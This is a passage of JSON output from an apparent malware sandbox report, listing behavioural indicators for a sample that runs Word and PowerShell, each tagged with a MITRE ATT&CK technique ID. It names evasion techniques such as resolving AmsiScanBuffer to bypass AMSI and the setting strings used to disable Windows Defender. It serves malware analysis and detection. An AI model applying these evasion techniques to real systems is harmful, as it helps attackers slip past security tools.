00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00007680-00000BC0-2833394073\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00007680.00000000.246092.F2620000.00000004.mdmp, 00000000-00007680.00000000.246092.F48A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00007680.00000000.246092.F48A0000.00000004.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00008676.00000000.245254.F1880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"Found string \"ystem.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00008676.00000000.245254.F10F0000.00000002.mdmp\")\n Found string \"System.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00008676.00000000.245254.F1140000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1025","relevance":1,"id":"string-713","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"RtlNtStatusToDosErrorNoTeb\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$3e","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00008676-00000C17-2820304997\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00008676-00000C17-2820341169\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00008676-00000C17-2820350234\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00008676-00000C17-2827168030","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00008676)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133946088720249217.8676.DefaultAppDomain.powershell\" - (UID: 00000000-00008676)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$40","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 671E0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"\"config14_1_.xml\" has type \"XML 1.0 document ASCII text with CRLF line terminators\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 8676)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a HTTP or FTP session","description":"\"WINWORD.EXE\" called \"InternetConnectW\" to server \"office14client.microsoft.com\" on port 80 (UID: 00000000-00005836)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-215","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"WINWORD.EXE\" called \"HttpOpenRequestA\" with parameter HTTP method:\"GET\" object: /config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={C0AC079D-A84B-4CBD-8DBA-F1BB44146899}&build=14.0.6023\" - (UID: 00000000-00005836)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"WINWORD.EXE\" called \"InternetOpenW with parameter Microsoft Office/14.0 (Windows NT 6.2; Microsoft Word 14.0.6023; Pro)\" (UID: 00000000-00005836)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$41","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$42","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00008676\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEE3DB75AF8DC409B7670A0A5255A8]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007680.00000000.246092.F2620000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00008676.00000000.245254.EF420000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE06370ECD0E04C5558D7356F1A046]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00008676.00000000.245254.EF420000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE7D609B335CE1D5F3AB38E391A619]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00008676.00000000.245254.EF420000.00000004.mdmp\")\n Found string \"ncacn_np\" (Indicator: \"ncacn_np\"; Source: \"00000000-00008676.00000000.245254.EF420000.00000004.mdmp\")\n Found string \"F+ncalrpc:[OLE7D609B335CE1D5F3AB38E391A619]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00008676.00000000.245254.EF420000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00008676)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00008676)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$43","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"RegGetValueW\" (Indicator: \"RegGetValue\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve list of files and subdirectories","description":"Found string \"dir\" (Indicator: \"dir\"; Source: \"00000000-00007680.00000000.246092.F48A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$45","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilegeZ\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00007680.00000000.246092.F2620000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00008676.00000000.245254.EF420000.00000004.mdmp\")\n Found reference to API \"11385234930,8896,3181,,AdjustTokenPrivileges,advapi32.dll,\"01:03:52.062\",RX=0,PX=0\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00008676.00000000.245254.F1880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 